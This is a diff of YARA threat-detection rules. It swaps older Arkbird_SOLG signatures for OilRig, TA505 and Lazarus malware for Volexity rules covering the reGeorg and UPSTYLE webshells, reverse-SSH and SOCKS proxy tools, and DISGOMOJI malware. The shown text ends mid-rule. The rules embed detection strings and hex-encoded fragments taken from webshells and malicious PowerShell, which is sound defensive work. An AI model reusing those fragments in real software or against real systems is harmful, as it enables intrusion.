-		date = "2020-08-26"
-		modified = "2021-07-13"
-		reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L4-L23"
-		license_url = "N/A"
-		logic_hash = "a6c42c46c80ca79b01aa0475c823aeccef416a0f8c2f58db95392cbe125b2fad"
+		description = "Detects the reGeorg webshell based on common strings in the webshell. May also detect other webshells which borrow code from ReGeorg."
+		author = "threatintel@volexity.com"
+		id = "02365a30-769e-5c47-8d36-a79608ffd121"
+		date = "2018-08-29"
+		modified = "2024-01-09"
+		reference = "TIB-20231215"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L51-L83"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		hash = "9d901f1a494ffa98d967ee6ee30a46402c12a807ce425d5f51252eb69941d988"
+		logic_hash = "4fed023e85a32052917f6db1e2e155c91586538938c03acc59f200a8264888ca"
 		score = 75
-		quality = 63
-		tags = "FILE"
-		hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c"
-		hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5"
+		quality = 80
+		tags = "FILE, MEMORY"
+		os = "win"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 410
+		version = 7
 
 	strings:
-		$block1 = { 53 45 39 4e 52 54 30 69 4a 58 42 31 59 6d 78 70 59 79 56 63 54 47 6c 69 63 6d 46 79 61 57 56 7a 58 43 49 }
-		$block2 = { 43 6c 4e 46 55 6c 5a 46 55 6a 30 69 61 48 52 30 }
-		$block3 = { 56 34 4c 6d 46 7a 63 48 67 2f 63 6d 56 78 }
-		$block4 = { 6a 30 69 63 47 39 33 5a 58 4a 7a 61 47 56 73 62 43 41 69 49 69 5a 37 4a 48 64 6a 50 53 68 75 5a 58 63 74 62 32 4a 71 5a 57 4e 30 49 46 4e 35 63 33 52 6c 62 53 35 4f 5a 58 51 75 56 32 56 69 51 32 78 70 5a 57 35 30 4b 54 73 6b 64 32 4d 75 56 58 4e 6c 52 47 56 6d 59 58 56 73 64 45 4e 79 5a 57 52 6c 62 6e 52 70 59 57 78 7a 50 53 52 30 63 6e 56 6c 4f 79 52 33 59 79 35 49 5a 57 46 6b 5a 58 4a 7a 4c 6d 46 6b 5a 43 67 6e 51 57 4e 6a 5a 58 42 30 4a 79 77 6e 4b 69 38 71 4a 79 6b 37 4a 48 64 6a 4c 6b 68 6c 59 57 52 6c 63 6e 4d 75 59 57 52 6b 4b 43 64 56 63 32 56 79 4c 55 46 6e 5a 57 35 30 4a 79 77 6e 54 57 6c 6a 63 6d 39 7a 62 32 5a 30 49 45 4a 4a 56 46 4d 76 4e 79 34 33 4a 79 6b 37 64 32 68 70 62 47 55 6f 4d 53 6c 37 64 48 4a 35 65 79 52 79 50 55 64 6c 64 43 31 53 59 57 35 6b 62 32 30 37 4a 48 64 6a 4c 6b 52 76 64 32 35 73 62 32 46 6b 52 6d 6c 73 }
-		$block5 = { 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 [1-4] 45 52 33 62 69 77 69 4c 56 38 [1-4] 4a 6b 64 32 34 69 4b 53}
-		$block6 = { 30 69 49 69 49 4e 43 6b 4e 79 5a 57 46 30 5a 55 39 69 61 6d 56 6a 64 43 67 69 56 31 4e 6a 63 6d 6c 77 64 43 35 54 61 47 56 73 62 43 49 70 4c 6c 4a 31 62 69 42 53 5a 58 42 73 59 57 4e 6c 4b 45 52 76 64 32 35 73 62 32 46 6b 52 58 68 6c 59 33 56 30 5a 53 77 69 4c 56 38 69 4c 43 4a 69 59 58 51 }
-		$block7 = { 51 70 72 62 32 31 6a 50 53 4a 77 62 33 64 6c 63 6e 4e 6f 5a 57 78 73 49 43 31 6c 65 47 56 6a 49 45 4a 35 63 47 46 7a 63 79 41 74 52 6d 6c 73 5a 53 41 69 4a 6b }
-		$block8 = { 0a b7 9a b5 e3 9b 8d e7 2d 59 27 2b 8a 9b 52 85 e9 65 46 e9 [1-4] d4 }
+		$a1 = "every office needs a tool like Georg" ascii
+		$a2 = "cmd = Request.QueryString.Get(\"cmd\")" ascii
+		$a3 = "exKak.Message" ascii
+		$proxy1 = "if (rkey != \"Content-Length\" && rkey != \"Transfer-Encoding\")"
+		$proxy_b1 = "StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(\"UTF-8\"));" ascii
+		$proxy_b2 = "string rbody = repBody.ReadToEnd();" ascii
+		$proxy_b3 = "Response.AddHeader(\"Content-Length\", rbody.Length.ToString());" ascii
 
 	condition:
-		filesize <2KB and 6 of them
+		any of ($a*) or $proxy1 or all of ($proxy_b*)
 }
-rule ARKBIRD_SOLG_APT_Oilrig_PSH_Helminth_2016_1 : FILE
+rule VOLEXITY_Hacktool_Py_Pysoxy : FILE MEMORY
 {
 	meta:
-		description = "Detect Powershell script Helminth in base 64 used by OilRig (2016)"
-		author = "Arkbird_SOLG"
-		id = "782503c2-a292-505c-b513-79cbbd381124"
-		date = "2020-08-26"
-		modified = "2021-07-13"
-		reference = "https://twitter.com/Arkbird_SOLG/status/1298758788028264450"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-26/APT_OilRig_2016.yar#L25-L45"
-		license_url = "N/A"
-		logic_hash = "0216015765f5abdb6ccf7643344aead51e4eebb19fd947f9484ce5dc6696d4d5"
+		description = "SOCKS5 proxy tool used to relay connections."
+		author = "threatintel@volexity.com"
+		id = "88094b55-784d-5245-9c40-b1eebf0e6e72"
+		date = "2024-01-09"
+		modified = "2024-01-09"
+		reference = "TIB-20240109"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-01-10 Ivanti Connect Secure/indicators/yara.yar#L85-L111"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "f73e9d3c2f64c013218469209f3b69fc868efafc151a7de979dde089bfdb24b2"
 		score = 75
-		quality = 61
-		tags = "FILE"
-		hash1 = "1edbb818ea75919bb70bd2496e789e89d26c94cdf65ab61ebb5f1403d45d323c"
-		hash2 = "1191d5c1dd7f6ac38b8d72bee37415b3ff1c28a8f907971443ac3a36906e8bf5"
+		quality = 80
+		tags = "FILE, MEMORY"
+		hash1 = "e192932d834292478c9b1032543c53edfc2b252fdf7e27e4c438f4b249544eeb"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10065
+		version = 3
 
 	strings:
-		$block1 = { 70 74 65 57 6c 6b 49 44 30 67 4a 79 4d 6a 49 79 63 67 44 51 6f 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 67 50 53 41 69 4a 47 56 75 64 6a 70 51 64 }
-		$block2 = { 41 67 ?? ?? 42 6c 62 48 4e 6c 61 57 59 6f 4a 47 31 35 5a 6d 78 68 5a 7a 4d 67 4c 57 56 78 49 44 49 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 67 6e 64 33 63 6e 4b 79 52 6e 62 47 39 69 59 57 77 36 62 58 6c 70 5a 43 73 6b 59 32 31 6b 61 57 51 72 4a 48 42 68 63 6e 52 70 5a 43 73 6f }
-		$block3 = { 6a 61 47 46 79 58 53 42 62 61 57 35 30 58 53 41 6b 64 47 31 77 57 7a 42 64 4b 53 41 72 49 43 }
-		$block4 = { 43 52 6a 62 6e 51 67 4c 57 56 78 49 44 49 31 4b 53 6b 67 44 51 6f 67 49 43 41 67 65 79 41 }
-		$block5 = { 5a 6c 52 45 35 54 49 43 67 6b 5a 43 6b 67 44 51 70 37 49 41 30 4b 43 53 52 6a 62 6e 51 67 50 53 41 77 49 41 30 4b 43 58 64 6f 61 57 78 6c 49 43 67 6b 59 32 35 30 49 43 31 73 64 43 41 79 4d 43 6b 67 44 51 6f 4a 65 79 41 4e 43 67 6b 4a 64 48 4a 35 49 41 30 4b 43 51 6c 37 }
-		$block6 = { 4b 49 43 41 67 49 43 41 67 49 43 41 6b 61 53 73 72 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 49 43 41 67 61 57 59 6f 4a 48 4a 6c 64 43 41 74 5a 58 45 67 4d 53 6b 67 44 51 6f 67 49 43 41 }
-		$block7 = { 77 36 62 58 6c 6d 62 47 46 6e 49 44 30 67 4d 43 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 43 41 67 49 47 56 73 63 32 56 70 5a 69 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 5a 73 59 57 63 67 4c 57 56 78 49 44 45 70 49 41 30 4b 49 43 41 67 49 48 73 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 43 52 30 62 58 41 67 50 53 41 6b 62 58 6c 6b 59 58 52 68 4c 6c 4e 77 62 47 6c 30 4b 43 63 75 4a 79 6b 67 44 51 6f 67 49 43 41 67 49 43 41 67 49 46 74 54 65 58 4e 30 5a 57 30 75 53 55 38 75 52 6d 6c 73 5a 56 30 36 4f 6b 46 77 63 47 56 75 5a 45 46 73 62 46 52 6c 65 48 51 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 72 4a 47 64 73 62 32 4a 68 62 44 70 6d 61 57 78 6c 62 6d 46 74 }
-		$block8 = { 4a 47 6b 72 4b 79 41 4e 43 69 41 67 49 43 42 39 49 41 30 4b 49 48 30 67 44 51 6f 67 44 51 6f 67 5a 6e 56 75 59 33 52 70 62 32 34 67 52 32 56 30 53 55 [1-10] 4e 43 69 41 67 49 43 41 6b 5a 32 78 76 59 6d 46 73 4f 6d 31 35 61 57 51 67 50 53 42 54 5a 57 35 6b 55 6d 56 6a 5a 57 6c 32 5a 55 52 4f 55 79 41 6f 4b 45 64 6c 64 46 4e 31 59 69 41 77 4b 53 73 6e 4d 7a 41 6e 4b 53 41 4e 43 69 42 39 49 41 30 4b 49 41 30 4b 49 47 5a 31 62 6d 4e 30 61 57 39 [1-10] 56 52 6f 61 58 4e 47}
-		$block9 = { 73 67 44 51 6f 4a 43 57 31 6b 49 43 31 47 62 33 4a 6a 5a 53 41 6f 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 68 76 62 57 55 72 4a 33 52 77 58 43 63 70 49 41 30 4b 43 51 6c 48 5a 58 52 4a 52 43 41 4e 43 67 6b 4a 51 32 68 68 62 6d 64 6c 56 47 68 70 63 30 5a 70 62 47 55 67 4a 47 64 73 62 32 4a 68 62 44 70 74 65 57 6c 6b 49 41 30 4b 49 43 41 67 49 48 30 67 44 51 6f 67 66 53 41 4e 43 69 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 74 59 57 6c 75 49 41 30 4b }
+		$s1 = "proxy_loop" ascii
+		$s2 = "connect_to_dst" ascii
+		$s3 = "request_client" ascii
+		$s4 = "subnegotiation_client" ascii
+		$s5 = "bind_port" ascii
 
 	condition:
-		filesize <3KB and 7 of them
+		all of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_TA505_Bin_21Nov_1 : FILE
+rule VOLEXITY_Apt_Malware_Py_Upstyle : UTA0218 FILE MEMORY
 {
 	meta:
-		description = "module1.bin"
-		author = "Arkbird_SOLG"
-		id = "2f23653e-5158-5a64-86ee-a58048780661"
-		date = "2019-11-21"
-		modified = "2019-11-21"
-		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L3-L30"
-		license_url = "N/A"
-		logic_hash = "133f202300a9e0428d20ce76bc832cf45cb5dacb05e39c21130d8d5cc39446ba"
+		description = "Detect the UPSTYLE webshell."
+		author = "threatintel@volexity.com"
+		id = "45726f35-8b3e-5095-b145-9e7f6da6838b"
+		date = "2024-04-11"
+		modified = "2024-04-12"
+		reference = "TIB-20240412"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L1-L33"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "51923600b23d23f4ce29eac7f5ab9f7e1ddb45bed5f6727ddec4dcb75872e473"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "bfe610790d41091c37ae627472f5f8886357e713945ca8a5e2b56cd6c791f989"
+		quality = 80
+		tags = "UTA0218, FILE, MEMORY"
+		hash1 = "3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac"
+		hash2 = "0d59d7bddac6c22230187ef6cf7fa22bca93759edc6f9127c41dc28a2cea19d8"
+		hash3 = "4dd4bd027f060f325bf6a90d01bfcf4e7751a3775ad0246beacc6eb2bad5ec6f"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10429
+		version = 2
 
 	strings:
-		$s1 = "intc.dll" fullword ascii
-		$s2 = "?%?2?7?=?" fullword ascii
-		$s3 = "Is c++ not java" fullword ascii
-		$s4 = "4%5K5e5l5p5t5x5|5" fullword ascii
-		$s5 = "KdaMt$" fullword ascii
-		$s6 = ";*;9;Z;`;" fullword ascii
-		$s7 = "<*<4<?<I<S<Y<" fullword ascii
-		$s8 = "0'040A0K0U0]0k0" fullword ascii
-		$s9 = "3 3(30363>3M3_3" fullword ascii
-		$s10 = ": :9:A:F:R:W:t:z:" fullword ascii
-		$s11 = "5'5,585@5H5P5f5n5v5~5" fullword ascii
-		$s12 = "<,<2<:<@<h<n<" fullword ascii
-		$s13 = "8+808:8T8b8j8p8" fullword ascii
-		$s14 = "8!9<9K9g9o9z9" fullword ascii
-		$s15 = ">(>6>D>N>U>f>p>" fullword ascii
-		$s16 = ":!:,:>:J:X:^:c:i:v:" fullword ascii
+		$stage1_str1 = "/opt/pancfg/mgmt/licenses/PA_VM"
+		$stage1_str2 = "exec(base64."
+		$stage2_str1 = "signal.signal(signal.SIGTERM,stop)"
+		$stage2_str2 = "exec(base64."
+		$stage3_str1 = "write(\"/*\"+output+\"*/\")"
+		$stage3_str2 = "SHELL_PATTERN"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and (pe.imphash()=="642f4619fb2d93cb205c65c2546516ca" and pe.exports("intc") or 8 of them )
+		all of ($stage1*) or all of ($stage2*) or all of ($stage3*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_TA505_Bin_21Nov_2 : FILE
+rule VOLEXITY_Susp_Any_Jarischf_User_Path : FILE MEMORY
 {
 	meta:
-		description = "vspub1.bin"
-		author = "Arkbird_SOLG"
-		id = "2bbd1d3a-50ab-5c6a-97fe-60b5a86e8d18"
-		date = "2019-11-21"
-		modified = "2019-11-21"
-		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L32-L50"
-		license_url = "N/A"
-		logic_hash = "43fb83abdeb1a31da836b4cf99dcda269f6d005cbb8eb2d845498d2c589574e1"
-		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "54cc27076793d5de064813c61d52452d42f774d24b3859a63002d842914fd9cd"
+		description = "Detects paths embedded in samples in released projects written by Ferdinand Jarisch, a pentester in AISEC. These tools are sometimes used by attackers in real world intrusions."
+		author = "threatintel@volexity.com"
+		id = "062a6fdb-c516-5643-9c7c-deff32eeb95e"
+		date = "2024-04-10"
+		modified = "2024-04-12"
+		reference = "TIB-20240412"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L57-L78"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "574d5b1fadb91c39251600e7d73d4993d4b16565bd1427a0e8d6ed4e7905ab54"
+		score = 50
+		quality = 80
+		tags = "FILE, MEMORY"
+		hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10424
+		version = 4
 
 	strings:
-		$s1 = "glColor.dll" fullword ascii
-		$s2 = "{sysdir}\\nvu*.exe" fullword ascii
-		$s3 = "KLSUIrhekheirguhemure" fullword ascii
-		$s4 = "tEo>qM" fullword ascii
-		$s5 = "?\"?0?8?>?I?V?^?l?q?v?{?" fullword ascii
-		$s6 = ";\";0;d;" fullword ascii
-		$s7 = "T0p0v0|0" fullword ascii
+		$proj_1 = "/home/jarischf/"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <900KB and (pe.imphash()=="ff6dd5f31dd7c538ebc02542f09f4280" and pe.exports("setColor") or all of them )
+		any of ($proj_*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_1 : FILE
+rule VOLEXITY_Hacktool_Golang_Reversessh_Fahrj : FILE MEMORY
 {
 	meta:
-		description = "invitation.doc"
-		author = "Arkbird_SOLG"
-		id = "10562979-0b90-5752-89b8-f0d35121df41"
-		date = "2019-11-21"
-		modified = "2019-11-21"
-		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L52-L83"
-		license_url = "N/A"
-		logic_hash = "7d2cbc0a505c245aa3e9e8a76cebc7ea7dbd4bd3be26a858f731b96791293ba5"
+		description = "Detects a reverse SSH utility available on GitHub. Attackers may use this tool or similar tools in post-exploitation activity."
+		author = "threatintel@volexity.com"
+		id = "332e323f-cb16-5aa2-8b66-f3d6d50d94f2"
+		date = "2024-04-10"
+		modified = "2024-04-12"
+		reference = "TIB-20240412"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-04-12 Palo Alto Networks GlobalProtect/indicators/rules.yar#L79-L112"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "38b40cc7fc1e601da2c7a825f1c2eff209093875a5829ddd2f4c5ad438d660f8"
 		score = 75
-		quality = 50
-		tags = "FILE"
-		hash1 = "a197c6de8734044c441438508dd3ce091252de4f98df2016b006a1c963c02505"
+		quality = 80
+		tags = "FILE, MEMORY"
+		hash1 = "161fd76c83e557269bee39a57baa2ccbbac679f59d9adff1e1b73b0f4bb277a6"
+		os = "all"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10423
+		version = 5
 
 	strings:
-		$x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\basecamp" fullword wide
-		$x2 = "*\\G{42DC991A-7E1B-4254-B210-CDD3DDCFD365}#2.0#0#C:\\Users\\1\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide
-		$x3 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide
-		$x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\basecamp" fullword wide
-		$s5 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
-		$s6 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide
-		$s7 = "glColor.dll" fullword ascii
-		$s8 = "magne.dll" fullword ascii
-		$s9 = "InitScope.dll" fullword wide
-		$s10 = "*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\system32\\stdole2.tlb#OLE Automation" fullword wide
-		$s11 = "CopyFiles=@EP0NGJ8D.GPD,@EP0NGN8D.GPD,@EP0NGX8D.GPD,@EP0NCJ8D.CMB,@EP0NOJ8D.DXT,@EP0NOE10.DLL,@EP0NM4RC.DLL,@EP0NRE8D.DLL" fullword wide
-		$s12 = "CopyFiles=@EP0NGJ8C.GPD,@EP0NGN8C.GPD,@EP0NGX8C.GPD,@EP0NCJ8C.CMB,@EP0NOJ8C.DXT,@EP0NOE09.DLL,@EP0NM4RB.DLL,@EP0NRE8C.DLL" fullword wide
-		$s13 = "vspub2.dll-" fullword ascii
-		$s14 = "pictarget" fullword ascii
-		$s15 = "Public Declare Function ZooDcom Lib        \"vspub1.dll\" Alias \"IKAJSL\" () As Integer" fullword ascii
-		$s16 = "\"Epson\"=\"http://go.microsoft.com/fwlink/?LinkID=36&prd=10798&sbp=Printers\"" fullword wide
-		$s17 = "EP0NM4RC.DLL = 1" fullword wide
-		$s18 = "EP0NOE10.DLL = 1" fullword wide
-		$s19 = "EP0NRE8C.DLL = 1" fullword wide
-		$s20 = "EP0NM4RB.DLL = 1" fullword wide
+		$fun_1 = "createLocalPortForwardingCallback"
+		$fun_2 = "createReversePortForwardingCallback"
+		$fun_3 = "createPasswordHandler"
+		$fun_4 = "createPublicKeyHandler"
+		$fun_5 = "createSFTPHandler"
+		$fun_6 = "dialHomeAndListen"
+		$fun_7 = "createExtraInfoHandler"
+		$fun_8 = "createSSHSessionHandler"
+		$fun_9 = "createReversePortForwardingCallback"
+		$proj_1 = "github.com/Fahrj/reverse-ssh"
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <3000KB and 1 of ($x*) and 4 of them
+		any of ($proj_*) or 4 of ($fun_*)
 }
-import "pe"
-
-rule ARKBIRD_SOLG_TA505_Maldoc_21Nov_2 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Modules : UTA0137 FILE MEMORY
 {
 	meta:
-		description = "invitation (1).xls"
-		author = "Arkbird_SOLG"
-		id = "e6328342-0d08-58a3-befe-15de41649763"
-		date = "2019-11-21"
-		modified = "2019-11-21"
-		reference = "https://twitter.com/58_158_177_102/status/1197432303057637377"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/20-11-19/Yara_Rule_TA505_Nov19.yar#L85-L116"
-		license_url = "N/A"
-		logic_hash = "84c7f064fb813934e397d81dad8af6288cb919e046cd2bb16f9ca6dc348c43c2"
+		description = "Detects DISGOMOJI modules based on strings in the ELF."
+		author = "threatintel@volexity.com"
+		id = "b9e4ecdc-9b02-546f-9b79-947cb6b1f99a"
+		date = "2024-02-22"
+		modified = "2024-02-27"
+		reference = "TIB-20240228"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L1-L23"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
+		logic_hash = "7880288e3230b688b780bdfbac2b0761fd7831b7df233672c2242c21a86e1297"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "270b398b697f10b66828afe8d4f6489a8de48b04a52a029572412ae4d20ff89b"
+		quality = 80
+		tags = "UTA0137, FILE, MEMORY"
+		hash1 = "2abaae4f6794131108adf5b42e09ee5ce24769431a0e154feabe6052cfe70bf3"
+		os = "linux"
+		os_arch = "all"
+		scan_context = "file,memory"
+		license = "See license at https://github.com/volexity/threat-intel/blob/main/LICENSE.txt"
+		rule_id = 10270
+		version = 3
 
 	strings:
-		$x1 = "C:\\Users\\J\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\AFFA0BDC.tmp" fullword wide
-		$x2 = "C:\\Users\\J\\AppData\\Local\\Temp\\AFFA0BDC.tmp" fullword wide
-		$x3 = "C:\\Windows\\system32\\FM20.DLL" fullword ascii
-		$x4 = "C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd" fullword ascii
-		$x5 = "C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" fullword ascii
-		$x6 = "C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" fullword ascii
-		$x7 = "*\\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\\Windows\\system32\\FM20.DLL#Microsoft Forms 2.0 Object Library" fullword wide
-		$x8 = "*\\G{BA45F137-16B2-487D-9A21-F38179C0576C}#2.0#0#C:\\Users\\J\\AppData\\Local\\Temp\\VBE\\MSForms.exd#Microsoft Forms 2.0 Object" wide
-		$s9 = "*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft " wide
-		$s10 = "lIySgefa86jIfdEkSZVDoSs5BDkcalCieNBN4EqfVaEs2wWD4OjpTiOBqDrL3d9WCaDAKZpoJPRnoacfQPhucmy69axznNmRbRY12v3ez5PdAAnpAl5m5NUqKHBKCYb5" ascii
-		$s11 = "35mvkZ9ZvIttuHSTUKWZCdOsh5j4Y1p2pJ3vi5onOXnMcEPIUIK1UWAYq3noPeaDtAdUOxKYvIlNZbqMpJjqpxhCidfpQ9GJXStKA44w7UFlKV9oMK8f5Tn6tKMKsviw" ascii
-		$s12 = "*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual" wide
-		$s13 = "verkar.dll" fullword ascii
-		$s14 = "intc.dll" fullword ascii
-		$s15 = "YjAygups4wPzNU7lNIGBuFbv6Triw8rxEPLSjrYSKXdUV8QuzbwJvdHshfBvdh66er47iobvTX1FCqI8d6RuKRcBhsLdYCOC1hPEdTllabYHlcZ1FDsgyLuwoCZYM7Fq" ascii
-		$s16 = "MinuetsOs.dll" fullword wide
-		$s17 = "KaBYL8xLRpN7VMzibXEzxh2GetwfB6MY9k3dRCNncC5eiyKNTaTrcoUDi4TrLrkULX7KSvAHjrw4lXxPRSvBmvWUzz5WRwKTskBtBa4xIlhT1ZruGeI36SIqamksANYW" ascii
-		$s18 = "XmhvJDfd16Hxk6eRMKJ7sqYIVneFVN7iUzRF8or7LKNKW9bhf5a7V5OGwIIvyJrm8yMUoITytLvRMoVWm7z1NawYTkjzP5HbtBLxwp3GkLMjJ74iWVjBjzI8cWadyuRy" ascii
-		$s19 = "Sx3mdokmfv27AYhtFublOb5Exec1r1b5LAAbsRHrjLKTWiG4K9dKXbuQBxY9mt4nu7u9ygaWWTcczlRpGhpsXzgKgTI52IfZRxyZWHFD8pXd9sqqOJBedLy4ZT3OHe5n" ascii
-		$s20 = "C:\\Windows\\system32\\stdole2.tlb" fullword ascii
+		$s1 = "discord-c2/test/main/finalizing/Deliveries/ob_Delivery.go" wide ascii
+		$s2 = "discord-c2/test/main/finalizing/WAN_Conf.go" wide ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <5000KB and 1 of ($x*) and 4 of them
+		any of them
 }
-import "pe"
-
-rule ARKBIRD_SOLG_APT_MAL_NK_Lazarus_Dacls_June_2020_1 : FILE
+rule VOLEXITY_Apt_Malware_Linux_Disgomoji_Loader : UTA0137 FILE MEMORY
 {
 	meta:
-		description = "Detect DACLS malware used by APT Lazarus"
-		author = "Arkbird_SOLG"
-		id = "fb85b83a-4367-5f1d-be06-8a8e906b8df7"
-		date = "2020-06-11"
-		modified = "2020-06-12"
-		reference = "https://twitter.com/batrix20/status/1270924079826997248"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-06-12/Lazarus/Lazarus_June_2020_1.yar#L3-L26"
-		license_url = "N/A"
-		logic_hash = "ed3e4a7a0490c5e8854d4e1bc8a223658ab9657a03c1b237af1056293a51611b"
+		description = "Detects the DISGOMOJI loader using strings in the ELF."
+		author = "threatintel@volexity.com"
+		id = "6d7848db-f1a5-5ccc-977a-7597b966a31c"
+		date = "2024-02-22"
+		modified = "2024-02-27"
+		reference = "TIB-20240228"
+		source_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/2024/2024-06-13 DISGOMOJI/indicators/rules.yar#L25-L46"
+		license_url = "https://github.com/volexity/threat-intel/blob/f5ecc7bce2475e6bd1038a807bca3e313640fdf3/LICENSE.txt"
